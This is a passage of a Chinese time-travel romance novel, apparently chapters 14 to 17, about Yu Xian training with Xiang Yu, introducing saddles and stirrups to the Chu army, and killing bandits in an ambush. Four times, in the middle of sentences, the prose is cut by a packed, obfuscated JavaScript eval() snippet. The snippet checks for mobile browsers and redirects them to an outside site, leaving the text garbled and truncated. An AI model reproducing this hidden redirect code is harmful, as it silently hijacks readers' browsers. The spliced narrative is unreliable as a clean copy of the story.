项羽看虞苋僵住,走近她,声音格外的冰冷:“城破之后,男人顶多被杀,而妇人会被奸.污,会被折磨致死,死后还可能被烹煮分食充饥。” 明明头顶上的日头还火辣辣的,可是虞苋只觉得自己手脚冰冷,脸惨白惨白的。 “……你,你吓唬我。” “你真觉得我只是在吓唬你吗?”项羽轻蔑地看她一眼,“你怎如此天真。” 又被骂蠢了。 她认错:“是我见识浅薄,将军莫怪。” 项羽将她松开,哼声道:“知道就好。” 他继续道:“先去试试你的气力。” 虞苋:“哦。” 校场尘土飞扬,虞苋跟在项羽后面,风一吹,吃了一嘴灰尘。 她看着拿着长枪训练的妇人,心情却格外的奇异,好像突然间打破了时代间的信息壁垒。 原来不是历史上没有女兵,只是历史上没有记载她们啊…… 又有多少的巾帼英雄,被埋没在历史洪流之中呢? 虞苋见项羽已经走了,赶紧亦步亦趋的跟上,然后两人一同到了一排石头面前。 项羽道:“选一个试试吧。” 虞苋看着从小到大的石头,伸手摸了摸额头,有些汗流浃背了。 来真的啊。 她蹲在地上,仰头看站在一旁,跟个煞神一样的男人,默默挪到了最小的石头前。 项羽说:“这个石头二十斤。” 此时的一斤等于十六两,他口中的二十斤,则是后世的三十二斤。 虞苋乖乖听话,将石头搬起来。 手中的重物沉甸甸的,刚搬了一会儿便受不住,手开始发抖,想要将其放下。 项羽吩咐:“举过头顶。” 虞苋闻言深吸一口气,来都来了,倒是没有再演,膝盖微曲,将石头放在自己的大腿上,反手换个姿势握住了石头。 她又看了一眼对方,见项羽的脸上,半点情绪都没有,冷冰冰的,眼神却一直落在她的身上,盯死了她的一举一动。 日头格外的大,炙烤在人的身上,皮肤火辣辣的疼。 牙齿的后槽都咬碎了,虞苋半点都不敢反抗,双手被重物压得微微颤颤,愣是在对方的眼神中将石头举过了头顶。 “可……可以了吗?” 项羽道:“我记得我在水中将你救下时,你所在的位置离出事地点将近二里,你应该力气不错才对。” 这可不当夸啊。 二十斤的石头举过头顶,非常重,可不是开玩笑的,就是片刻功夫,她额头上冒出豆大的汗水,顺着小脸汇聚在下巴成水珠,滴答地落下。 虞苋大口喘息,一字一句道:“那是耐力,不是力气。” 她实在撑不住了,直接将石头往地上一丢,不顾形象的趴在石头上大喘气,浑身都没了力气。 对方颔首:“都是一个意思。” 意思差很多好不好? 项羽看着虞苋汗淋淋的小脸,将一块手帕递给她:“擦擦汗。” 她伸手去接,手指还在抖。 对方将手帕放在了她的手上,稍微说了一句好话:“没经过训练,能将此石头举过头顶,倒还算不错。” 虞苋一点都没有安慰道,小声嘟囔道:“专业的事情应该交给专业的事情去做,人的精力是有限的,我的志向不是上阵杀敌,将来成为一个巾帼女将军。” 他询问:“那你的志向是什么?” 虞苋被问住了。 她拿着手帕擦擦脸上的汗,脸颊格外的红润,扭着笑着和项羽说:“或许是好好的在这个世道多活几年。” “没出息。”他转头看想一处,“看到她们了吗?” 虞苋顺着对方的视线看去,见有百来人的女兵正在校场训练, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736951|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都很是英姿飒爽,让人忍不住再多看两眼。 项羽继续说道:“她们都是上过战场的女兵,一般的女郎可降不住,现在给你机会,你可要想好了,是继续训练,将来收服她们为你所用,还是就此作罢,只甘愿当个内宅妇人?” “我训练!” 她顿时来了精神,凑近项羽,拿着手上的帕子给他擦汗,眼睛里亮晶晶的:“项将军,我怎么可能这点苦头都吃不了,你是看轻我了。” 项羽拿开虞苋的手,起身后道:“你能想明白就好。” 不过第二日她就后悔了,因为每日的训练是从寅时中开始,天都还没有亮,项羽还非要亲自操练她两个时辰,等她训练回去之后已经累成狗,脑袋空空什么都不想去想。 由于她天天跟着女兵操练,唯一让她安慰的是,很快她就和里面的女兵打成了一片,并且打听到了一个其中叫做黎晟的女兵身手极为的厉害,能以一敌十。 虞苋观其面貌,她面容清秀,眼神坚定,正好是她想要招募的人才。 一日,她训练完,正躺在太师椅上休息。 呃……至于为何有太师椅,当然是虞苋叫人打出来的,顺便还将一套座椅套件都弄了出来放在房间里。 项羽见她乖乖听话,见她鼓弄这些玩意儿,倒也没说什么直接默许了。 她琢磨着该怎么招揽黎晟之时,项梁派了人前来传话,让她过去。 传话人告知她:“项将军也在。” 虞苋有些摸不着头脑,不知道他们叫她去做什么,不过项梁传她,她也不能不去。 听闻项羽也在,她倒是松了一口气。 等跟着传话之人到了军营,士兵将她带到了大帐内,便见到项梁正拿着马蹄铁片观摩。 项羽跪坐在一侧,正拿着铜杯喝酒。 虞苋见状正要给两人行跪拜大礼,便听到项梁道:“礼就免了,来来来,过来坐。” 她看了一眼项羽。 对方颔首。 虞苋这才起身,走到了项羽的身旁落下。 她身上的衣袖偷偷的盖在了项羽的腿上,小手扯了扯他的衣摆,面上却是乖巧的低头,等对面的项梁发话。 项羽将酒水饮尽,垂眸看着女郎,后领口露出的脖子修长白皙。 项梁将马蹄铁放在桌案上,语气倒是很温和:“听闻这铁蹄,是你老家的产物?” 虞苋点头:“是。” 他继续道:“我听说,之前你还跟阿羽提及过马鞍和马镫,可有这件事?” 嗯? 她扭头震惊的看着项羽。 他敛目,很是淡定:“是我跟叔父说的。” 虞苋小声道:“项将军,我当时就是顺嘴一提,没想到你就记住了啊?万一我弄不出来这玩意儿,我岂不是会很丢脸,说之前你应该知会我一声啊。” 她以为声音只有两个人才能听到,谁想到项梁摸了摸胡子,笑道:“欸,小虞你莫要怪阿羽,我们叔侄刚才喝酒兴起,提及了马蹄铁在军中运输辎重的作用,他才想起了你之前跟他说过的马鞍和马镫之事。” “没怪。”她赶紧摆手。 不敢怪的呢。 项梁道:“莫非确有其物?” “有的。” 15. 第 15 章 既然人家都主动开口询问了,虞苋也就不能再藏着掖着了。若是敝屣自珍,往后再拿出来反倒会惹人不快。 项梁见状询问:“哦?说说看,你口中的马鞍和马镫究竟是何物?” 而此时,虞苋的手按在项羽的腿上,食指在隔着衣物轻轻挠动,正低头思考应该怎么措辞。 而项羽却感觉浑身起了鸡皮疙瘩,敛目看她,看不出这女郎是故意报复人,还是思考时无意识的行为。 算了。 还是暂时不打扰她思考了吧。 虞苋已经想好了措辞,开口说道:“两者都是能够帮助骑手更大发挥出骑马优势的马具。” 项梁:“具体说说看。” 她继续道:“马鞍是安装在马匹背上,用来固定位置,以防止人骑马的途中滑落的马具,里面填充软物,还能缓解长途奔袭时久坐的疲倦感;而马镫则是马匹两旁的踩踏物,人能借助马镫上马,并且在骑行的过程中支撑双脚,解放双手,使得骑兵的战斗能力剧增。” 项梁和项羽都是骑术精湛之人,手下亦有不少的骑兵,自是知道训练骑兵最难的,便是如何在与人战斗之时不会从马背上滑落。 骑兵一旦落马,战力则就废了。 倘若真有此等马具,能解决骑兵面临的问题,那么骑兵的战力则会更甚一筹,对楚军来说将会如虎添翼。 闻言,项梁立即询问:“此物真有你口中所言的那般作用?” 虞苋点头。 这可都是经历过无数朝代的验证的,自不会是她夸下海口。 她精着呢。 项梁哈哈一笑:“那我倒是要见识见识了。” 他又说:“对了,你如今莫要见外,跟着阿羽叫我一声叔父即可。” 虞苋闻言却下意识的仰头去看项羽,却见项羽脸上十分的阴郁,周身的气压很低很低,不知道是谁得罪了他,看上去有些不耐烦了。 他又怎么的了? 项羽感觉到她的视线,回神,终于舍得拿开了她的作怪的小手,跟她淡淡道:“你是我的夫人,自是要跟我唤一声叔父。” 虞苋这才看见自己的手放在了何处,脸上迅速的爬上了一抹潮红,终于知道对方的冷脸的缘由了。 她默默地收回手,赶紧重新转头看着项梁,唤了一声“叔父”。 接下来项梁便让虞苋将这两件东西细细说来,虞苋则当做刚才她的小手啥也没干,开始给项梁说起马具。 没想到项梁兴致倒是来了,当即吩咐亲卫去将匠人叫来,要当日就将马鞍和马镫做出来试一试效果。 急是急了点,虞苋不敢不从,只好拿了块板子,将两件马具的图样画出来。 她用不惯毛笔,画得歪歪扭扭。 而项羽和项梁各站在她两侧,这让虞苋的压力剧增,默默地撩起衣袖给自己擦汗,并仰头看着他们,一脸期待的询问:“你们看得出来这是何物吗?” 两人对视一眼,双双摇头表示不知。 虞苋求助的目光看向了项羽,谁知他却当做没看见无动于衷。 过分了。 项梁清了清嗓子:“阿羽不喜书画,还是你来描述,我将图样画出来吧。” “好的。” 很快,图样便画出来了,虞苋觉得大概是没有问题,项梁便吩咐匠人前来,将两样东西制作出来。 马镫和马鞍的制作并不困难,马镫便只是两个中的铁片,铁匠花一个时辰就能打好。 而马鞍的制作就稍微复杂一点,需要测量马的后背宽度量身自作,用木头先打出马鞍的形状,之后用皮子将其包裹好,预留好安装马镫的地方,并制作好安装马鞍的肚带和汗屉,大致便可以了。 由于制作马具需要点时间,项梁先处理军中事物,于是便让项羽带着虞苋到处逛逛。 时间到了下午的酉时中,天际出现一抹摄人眼球的紫霞,将人的影子拉得很长很长。 虞苋走在项羽的身后,两人的影子交叠在一起。 一路走到了运粮车前,不远处是马厩,里面的马都是用来运粮的。 “每次运粮食辎重,不少马的马蹄出现损伤。” 项羽淡淡道:“上次你提及小小的一块铁片就能保护马蹄之后,我便让人给其中的几匹老马装上铁蹄,装上马掌的老马蹄子保护得最好,休息好之后便可以继运送粮食,而没有装上马掌的马因为马蹄出现不同程度的磨损,因此需要修养一段时间。” 虞苋点头:“有用就好。” 对方低头看她,认真地说道:“此物在军中有大用,帮我们解决了一半运输辎重的问题,叔父知道后很高兴,准备给军中的战马都安装马掌。” 要是没有大用,她会拿出来吗? 笑话。 不过,虞苋见往日一张脸冷得能掉冰渣的项羽,说起此事来眼神都柔和了许多,便浑身感觉瘆得慌,哪哪都不对劲,忍不住浑身一机灵。 他问:“你冷啊?” 大夏天的谁会感觉冷?这话问的。 虞苋摇头:“不啊。” 项羽眼神一眯,道:“那你抖什么?” 还不是被你吓的。 虞苋仰头朝着他微笑:“项将军,定是你看错了。” 项羽懒得和她扯犊子,背对她,两人都没有说话,像个傻子一样看着马厩的马吃草料。 她看了一会儿,觉得甚是无趣,脚有点累了,见旁边有石头,便要准备走过去休息一会儿。 项羽见她有了动作,手拉住了虞苋的胳膊,询问道:“你去哪?” “脚站得累了,想去坐一会儿。”她指着不远处的石子,一脸疑惑道,“怎么了?” 不会不让她坐吧? 项羽松开手,清了清嗓子,一本正经地说道:“正好我也累了。” 虞苋心里呵呵两声,嘟囔道:“学人精。” 对方低头:“你说什么?” 她便闭嘴,摇头,假装自己啥也没说。 两人走到了石头上,虞苋率先坐了上去。 项羽居高临下的瞥了她一眼,她今日倒是穿得素白,紫霞打在她的身上,浑身都被渡上了一层紫红的光,衬得她的容颜越加的艳丽。 他从怀中掏出了一个绿色的东西,递给了虞苋,询问道:“这是你的东西吗?” 是一块通体翠绿的玉牌,上面刻画了虞美人的花蕊,带子则是用玉珠串成,可见其价格不菲。 眼熟。 虞苋默默地从他手上将玉牌拿到手中,叹息了一口气:“我还以为我在水中弄丢了呢,没想到被你给找到了。” 项羽解释:“是在江中打捞尸体之时,从水中打捞上来的,上面刻画了虞美人,倒是让我想起了你。” “玉牌是我奶奶送给我的,对我很重要。”她解释道,“只是当时情况紧急,性命都要没了,就没顾得上这块玉牌。” 项羽敛目看她:“你不是很高兴?” 虞苋道:“没有啊,挺高兴的。”口中说着高兴,脸上却皱起了眉头,一脸的忧愁。 项羽道:“不像。” 她的手摩擦着玉牌,便将其带在脖子上,解释道:“就是有些睹物思情。” 虞苋认真道:“谢谢你将我找回了它。” 可惜回不去了。 能找回这个玉牌,倒是有了一个念想。 项羽这时突然道:“对了,忘记跟你说了,明日我会带兵离开梁县。” 虞苋不解:“会盟在即,各路诸侯都在赶来的途中,将军这是有什么要紧的事要处理?” 他语气冰冷:“去围剿匪徒。” 虞苋:“哦。”莫非是会盟在即,需要维护诸侯途中的治安,因此要沿途清理贼匪? 项羽低头,拍拍她肩膀:“你也一起去。” 她:“啊?” 不是。 为什么会带上她啊? 那是剿匪,是会死人的啊喂,带她一个娇滴滴的女郎前去,好吗? 虞苋张了张嘴,正要一口拒绝。 此时,项羽却仰头看了看天色,说道:“时间不早了,算算时间,马镫和马鞍差不多已经制作好了,别让叔父久等,先回去吧。” 说完他率先一步往营中的方向大步走去,大长腿走得格外的快,虞苋得小跑才能追上对方。 她边走边道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后,虞苋先将肚带安装在一侧的马鞍上,安装完毕之后,从马头前绕道另一旁,将肚带在另一侧马鞍上安装好。 由于肚带有点类似于后世的皮带,因此是可以调节的,虞苋便慢慢将肚带收紧,调整到一个合适的位置。 之后她将马镫安装在马鞍之前预留的地方,再装上缰绳,就备好马了。 虞苋回头看项梁,说道:“叔父,已经安装好了。” 项梁上前推了推马鞍,肚带从马的肚子绕过,扣在马鞍的两旁,将马鞍固定住,马鞍前方有扶手,可供骑手抓握,而马镫则能让两只脚有着力点。 “妙啊。” 项梁摸了摸下巴的胡子,忍不住感叹了一句。 他又道:“我来试试。” 虞苋提醒:“叔父可踩着马镫借力上马。” 项梁:“晓得了。” 他踩着马镫上马,手扶着马鞍上的扶手,虞苋伶俐地上前,将马镫的位置调整到适合的位置。 马镫的带子亦做了可调节的。 虞苋退开了两步,项梁便骑马窜了出去,泥巴被马蹄扬起,她还是吃了一嘴的土。 她伸手挥开尘土,见韩信的目光隐晦地落她身上。 虞苋朝着他友好的笑了笑,韩信却慌乱的移开了眼神。 咋的了? 她笑得有那么吓人吗? 虞苋没在多想,趁机挪步到项羽身边,小声求饶道:“项将军,我错了,你看我细胳膊细腿的,训练得也没几天,就放过我吧?” 项羽不想搭理她,在一旁站得笔直,连眼神都不往她身上瞄。 见状,她小脸皱紧,心里难受极了。 这时项梁骑了一圈回来,同样借着马镫的力下马。 “妙!妙极!” 他抚掌:“以前怎么没有人想到,可以给马装上马鞍和马镫呢?” 项梁立即吩咐韩信和另一个士兵:“你们二人,一人骑裸马,一人骑配有马鞍的马,上前比试一番,让我等看看效果。” “喏。” 16. 第 16 章 此时日头已经下山,落日的最后一点余晖也隐入天际,军营里面点燃了篝火。 项梁的亲卫站成一排,都好奇的看着这一场比试。 由于韩信身下的马装备齐全,机动力强,马镫给了骑手着力点,甚至能让人在马背上站着,灵活程度碾压对方,韩信轻易就将对手击落下马。 战场上骑兵被击落,则代表了必死无疑。这帮亲卫们见此,都纷纷跃跃欲试。 虞苋对打打杀杀不感兴趣,默默的退了出去没有再看, 她忧愁啊。 项羽要带她去剿匪,总得想办法渡过这一次难关。 她蹲在火堆前,拿了一串羊肉放在架子上烤,通红的火光照在她的脸上,被烟熏得眼睛微微眯起,她周围的这一小块地方仿佛和旁边的喧闹隔开,显得格外的安静。 项梁朝着项羽走来,拍了拍他的肩膀,看着虞苋的背影说道:“她说话条理清晰,谈吐文雅,并非是寻常人,切不可怠慢了事,对了,你也别总吓唬她。” 项羽颔首:“知道。” 虞苋刚将羊肉串烤得外焦里嫩,正张嘴要吃肉,便看见了一个影子出现在面前。 她仰头。 项羽双手抱胸,正低头看她。 火光照在人脸上跳跃,将项羽的侧颜勾勒得格外好看,加上他宽肩窄腰,仿佛是山间妖鬼。 这人刚才不是不爱搭理她了吗?现下怎么又出来吓唬人。 项羽道:“回去了。” 虞苋闻言没精打采的起身:“可是我羊肉串还没吃呢。” 项羽:“……我又没说不让你吃完再走。” 虞苋:“哦。” 她瞥了对方一眼,张嘴将羊肉串全塞嘴里。 他道:“叔父很满意你提供的马具,等会盟过后便会给你赏赐。” 虞苋立即道:“那赏赐能不能现在就给啊?我可以什么都不要,只要不让我跟你去剿匪就行。” 项羽冷笑:“不能。” 她长叹了一口气,怨念地看着项羽,心中却已经开始想着剿匪结束之后,该怎么报复对方了。 这口窝囊气,绝不能这样算了。 绝不! 一夜无梦。 翌日。 才是寅时中,虞苋睡得迷迷糊糊地,就被人叫了起来。 她睁眼看是雪纹,舒了一口气,语气软软地撒娇:“让我再睡一会儿,就一会儿好不好?” 雪纹为难地看着虞苋:“夫人,将军已在门口等候多时,你若是再不起来,他便是要罚婢子们的。” 虞苋:“……” 昨日还是个晴日,今一早却下起了濛濛细雨,带着点浸人的凉意。 虞苋困得眼神都睁不开了,却还是乖乖洗漱好出门,走出去之后心里还嘟嘟囔囔。 见到项羽就在门口候着,她脸上立即露出一个微笑:“项将军,这么早啊?” 晨雨飘下,廊檐滴水。 项羽穿着黑衣,双手背在身后,闻言侧头看她,语气带着凉意:“我等你有半个时辰了。” 可也不是她想去的啊。 虞苋心中腹诽,面上维持着微笑,上前扯住他的衣摆,声音娇滴滴:“项将军,妾身不是故意的,你原谅我好不好?” 若是遇见危险,还要他护着呢。 她仰头去看他,看着对方那副臭脸,手悄悄伸到了项羽的侧腰,小手指作怪地轻挠两下。 项羽低头,面沉如水:“你的手不想要了?” 虞苋收回手,嘟囔道:“还是这么凶。” 他将手中的短笛递给她:“这是你要的刀。” “刀?” 虞苋将短笛接过,见便是一截竹子,留了音孔,表面十分光滑,完全看不出是刀。 项羽见她来回摆弄找不到窍门,手握着她的手腕将笛子离身体一臂长,拨弄笛子里面的一个小机关,便见寒光一闪,一指长的刀刃快速弹出。 “好厉害啊。”她眼睛亮了,“那要怎么收回去?” 项羽颔首:“按着内壁机关,将刀刃对准硬物,即可收回。” 她闻言赶紧蹲在地上试了试,果真如项羽所说收回去了,便仰头看着对方露出了一个真心实意的笑容。 项羽道:“行了,赶紧将刀收好,该出发了。” “可我还没有吃饭呢。” “路上吃。” 雪纹赶紧将做好的吃食递给了虞苋,不敢看项羽一眼,眼神心疼的看着她道:“夫人,路上注意安全。” 虞苋一脸沉重,眼神里十分不舍,哀伤道:“便是不知道,这一去我还能不能回来,记得帮我找几个巫傩做法,保我平安!” 项羽见她磨磨唧唧,大手握住她的细腰,直接将她提起带走。 虞苋:“……” 她提醒雪纹:“记得啊。” 雪纹点头:“夫人,婢子记住了。” 虞苋这才放下心来,便感觉项羽的手臂格外的硬,单手搂着她走路还非常稳,没有半点的颠簸感。 到正门口之前,项羽将她放下:“马已经让人牵来了,穿上蓑衣上马。” 虞苋:“哦,好。” 幸好他还知道维护自己的脸面,没有直接提她到对方的下属面前,不然她可就丢脸丢大发了。 她将短笛挂在腰间,和项羽一起走到了正门。 虞苋眼尖的看见队伍中的黎晟,赶紧和她打了一个招呼,对方却恭敬的朝她稽首。 挫败。 项羽递给她蓑衣:“赶紧穿上。” 她:“好的。” 队伍只有三十来人,都配上了好马,看上去是项羽身边的亲卫。 桓楚在前面交代什么,随后走来:“已经准备好,可以出发了。” 虞苋笑眯眯打招呼:“桓叔,许久未见,看上去更加健壮了许多,俊!” 桓楚道:“就你嘴甜。” 项羽斜睨了她一眼:“走了。” 由于武信君项梁召集各路诸侯前来梁县会盟之事,梁县变得格外的热闹,到处戒严,一些泼皮无赖倒是不敢再作怪。 虞苋骑马跟在项羽身侧,一路到了城门,门口处设了关卡,来者皆要检查。 守城门的士兵,脸上神色严肃。 项羽出现之后,他们的表情立即变得谄媚,殷勤地打开了关卡,并驱赶进城的百姓,让出了一条宽阔的道。 领头上前,谄媚道:“将军请。” 虞苋这个升斗小民看呆了,难怪人人都想做人上人,有钱和有权真是两件事。 这就是权势的魅力。 就在这时有人上前,拦住了项羽去路,自我介绍道:“在下刘季,见过项将军……” 项羽目不转睛,直接策马出城。 而虞苋听到刘季的名字,记忆被唤醒,赶紧瞥了他一眼。 此人留着美须,人长得周正,被项羽轻视未曾露出恼意,喜怒不形于色,难怪后来成了最大的赢家。 她目光扫到了对方身后的马车。 只见一只素手撩起了马车上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736953|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘子,露出了一张芙蓉面,妇人看上去三十上下,却不减其年轻时的风韵。 她微微撩起眼帘,正好与虞苋的目光对上,对方不由朝着她点点头,露出一个温婉的笑。 这是…… 将戚夫人做成人彘的……吕娥姁吕雉? 皇权争斗本就是你死我活,若是戚夫人上位,吕雉的下场未必会比戚夫人好上多少。 不过将人做成人彘…… 嘶。 虞苋心中一颤,也朝着对方回之一笑,赶紧驱马追上了项羽。 吕雉见刘邦看着刚才那位美貌女郎离开的方向出神,敛目,轻咳了两声。 刘邦回神,跟她说道:“刚才跟在项羽身后的女子,是他新纳的夫人,听闻甚至宠爱,夫人,待到下次再见到她,记得好好笼络她。” 吕雉见刘邦并无色心,伸手给他整理衣领,温声道:“夫君所言甚是。” 马蹄溅起浊水,雨糊着人脸上,感觉到冰冰凉凉的。 经过一个时辰赶路,众人到了一处密林,周围并无虫鸣鸟叫,格外的安静,唯有空气中和着泥土的腥味,让人的脑子变得清明。 桓楚道:“探子传来的消息,应该便是此处。” 项羽吩咐:“派一队人前去探查,其他人就地修整。” 桓楚稽首:“喏。” 而虞苋见到项羽率先下马,便也下马到了对方的身侧,手握着失而复得的玉佩,小脸惨白惨白的。 她总有一种不详的感觉。 项羽递了水壶给她:“喝点水润喉。” 此时雨已经停了,项羽脱掉了蓑衣递给下属,将衣裳上的水珠拍掉。 虞苋接过水,喝了一口,随即疑惑道:“这里是否太安静了,刚刚我们来时并未惊鸟,却听不叫鸟叫声。若是密林中连只鸟都没有,是不是不太正常。” 项羽点头:“你分析得不错。” 她怂了:“项将军,不是我不相信你的实力,只是刀剑不长眼,不如我就留在这里等你们,正好不给你添麻烦。” 对方询问:“你确定?” 虞苋见有戏,果断点头:“确定。” 项羽闻言却没有生气,再次确认:“你自己要留下来的?” 她点头:“嗯!” 谁要去看打打杀杀啊。 真会做噩梦的。 他叫来黎晟,吩咐道:“你留下来护卫夫人,若有情况吹响哨声。” 黎晟稽首称“喏”。 见项羽突然改了主意,让她悬着的心终于放下了。 她殷勤的踮起脚,给对方锤锤肩膀:“项将军,你放心,我待在这里,绝不乱跑。” 项羽轻嗤一声:“我倒是你能跑得远一点。” 虞苋:“啊?” 他没有说话了,仰头喝水,喉结性感滚动。 没一会儿桓楚回来了,在项羽耳边耳语了几句,项羽立即上马,其他人也都跟着。 离开前,项羽俯视瞥了她一眼。 桓楚上前说了句:“注意安全。” “还有。”他将一瓶药粉给她,“里面是剧毒,若是遇到危险,可保全性命。” “保重。” 虞苋看着人走完了,只剩下黎晟,又看到小白马不安的划拉着前蹄,忍不住询问:“什么意思?” 黎晟摇头。 而很快虞苋就知道为何密林没有鸟叫的原因,因为在她们的头上藏着匪徒。 她刚坐下休息,一群人从天而降。 危! 17. 第 17 章 黎晟反应很快,吹响了哨音。 密林被打破了平静。 虞苋看见三人挥刀朝她而来,其余五人朝着黎晟包围而去,隔断了她们骑马逃跑的退路。 于她来说,一打一胜算都不大,眼前是好几个人,身上又都带着械具,若是站着挨打必死无疑啊。 心绪只有一瞬。 她当机立断:“分开跑。” 话落虞苋直接撒腿就跑。 黎晟愣了一会儿,她早就听闻这位虞夫人格外的胆小,还以为对方此时对方定会吓得无措,没想到却跑得还挺快。 而就是愣神的一瞬间,对方已经跑得没影了。 “……厉害。” 黎晟追了上去。 密林中不仅有树,周围还有灌木,地上的朽叶铺成厚厚一层,踩在上面软绵绵的。 脚下有枯木、藤蔓、各种虫子。 虞苋扒拉低矮的树枝,树叶上聚集的雨滴哗啦啦的下落,淋湿了满身的衣裳。 后面的匪徒紧追不舍,口中叫嚣着“臭娘们”、“跑得还挺快”、“落在老子手里定让你生不如死”。 虞苋跑得更快了,她感觉自己的胸膛要炸开,腿脚却更加的麻溜,直接将后面的匪徒甩出了百来米。 越往林中跑,林中越密,藤蔓越多,蛇被吓得嗖嗖爬走。 疾跑了半刻,后面只有一个消瘦的男人紧追不舍,她停下了脚步。 男人粗喘着气,扬了扬手中的刀:“跑呀?怎么不跑了?” 虞苋双手撑着大腿,整个人都虚脱了,摆摆手:“不,不跑了,跑不动了。” 他上下打量她几眼,脸上突然露出淫.荡的笑,一步一步朝着虞苋走近:“如此美人,可惜就要香消玉损了。” 男人道:“什么勋贵子弟,还说要来剿匪,没想到被我们绕后,将她的婆娘都给抓了吧。” “美人,你说我是先杀后奸,还是先奸后杀……” 虞苋的脸上惨白惨白的,眼神中终于露出了恐惧的神色。 这愉悦了男人。 对方放松警惕地走到距离她三步位置,见状,虞苋找准时机,将手中的瓷瓶一扬,精准的撒到了男人的口鼻眼。 “啊!” 毒粉直接烧了男人的眼睛喉咙,他手中的刀立即落地,整个人捂着眼睛嗷叫,随即声音越来越弱。 叫声吸引来了人,又有两人追了上来。 虞苋来不及多想,转身就跑,只是她没有想到密林前面是一条湍流的河流拦路,河流距离河岸有两三米的高度。 她只能顿住脚步。 赶来的两人长得凶神恶煞,堵住了她其他逃跑的路。 此时唯有跳河才有一线生机。 “两位英雄,我与两位无冤无仇,何苦紧追不舍?” “什么无冤无仇,你的相好都带兵来剿杀我等,不给我们活路,我也要他的女人死。” “别跟她废话,这个女人狡猾得很,定是在拖延时间。” 见两人慢慢逼近,虞苋却不慌不忙地捡起石头,往岸边靠。 石头而已,哪能有刀快,两人没当回事。 虞苋却将石头往水中一扔,听见“咚”的一声落水声之后,没有半分犹豫,直接从岸上跳进河中,像只鱼儿一样入了水。 水流湍急,很冷很冷。 上面两个匪徒见状,跟着跳下了水追来,其中一人很快就抓住了她的脚,带着她往水底扯,想要将虞苋溺亡。 她墨黑的头发往上漂,宽大的衣裳缠着身躯往同样往上漂。 水草丰美,鱼群环绕。 女郎憋着气,面容惨白惨白,唯有一双眼睛格外沉静。 虞苋单手解开腰间笛子,趁着对方不注意,抵在了对方的脖子处。 对方的同伙正在靠近,没有思考和犹豫的时间,她的拇指拨弄机关。 “噗。” 红得发黑的血散开,如同刚刚盛放的红花。 男人的手松开了她的脚,虞苋转身往水面游去,最后一个追来的人紧紧咬死。 一对一。 虞苋爬出水面,湿漉漉的衣裳和头发都贴在身上,她单薄瘦削的身段看上去弱柳扶风,加上发白的脸和唇,仿佛大病初愈的病人。 她趴在岸边,对着水面干呕。 任谁也想不出,眼前柔弱的女郎,单杀了两个青壮。 最后一个匪徒爬出了水面,手中持械,却警惕的看着虞苋,不敢再贸然上前。 见状,虞苋不慌不忙地将湿发挂在耳后,只见她的头发衣裳在滴水,卷而密的睫毛和白皙的脸颊上挂着晶莹水珠。 她右手撑地,抓着短笛,露出一个微笑:“你猜待会你会怎么死?” 匪徒喝骂:“臭娘们,你以为老子怕了你?该死的是你!” 说罢,他提刀上来。 虞苋抬眸:“你会被箭射杀。” 随着她的话音一落,“咻”的一声,远处飞来的箭直接爆头。 呕。 她的右手握拳,锤着自己的胸口,仿佛要将胃中的酸水都吐出来了。 项羽拿着弓箭走来,蹲在她面前,淡定询问:“身上可有受伤?” 虞苋脸上麻木,背过身去,浑身打颤,大颗大颗眼泪无声滴落,便是一句话都没说。 他起身:“你怨我?” 虞苋依旧不答,眼神都没给一个。 项羽提醒道:“是你自己要留下来的。” 呵呵。 虞苋抬眼,仰视对方。 他面容冷峻,身上滴血未沾,从容抱着长弓。 上位者的傲慢和自以为是,在男人身上显露得淋漓尽致。 她说:“你明明知道林中有埋伏,故意答应我留下来,便是要历练我,看我手染鲜血。” 项羽睨了一眼:“什么时候想到的。” “就在刚刚。”虞苋咬唇,心中恨极,“我上岸时看见你了。” 项羽将她的刀收起来,挂在她的腰间,淡淡道:“那你现下应该清楚,我既然一直都跟着你,便不会让你出现意外。” 她冷哼:“哦。” 虞苋眼眶里还带着泪,看上去整个人都要碎了。 项羽继续道:“不过夫人倒是令我格外的意外,杀人时手很稳,没白费这几日的训练。” 她扶着额头,冷声道:“我训练的目的不是为了学会杀人。” 项羽亦冷着一张脸:“你果然在怨恨我。” 虞苋呛声:“哪敢啊。” 她的声音格外尖锐,语气阴阳怪气:“项将军此举都是为了我好,是为了历练我,让我将来遇到危险能有自保之力,我若是因此怨恨你,不就成了白眼狼了吗?” 嘴上说不怨,眼中的恨意都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 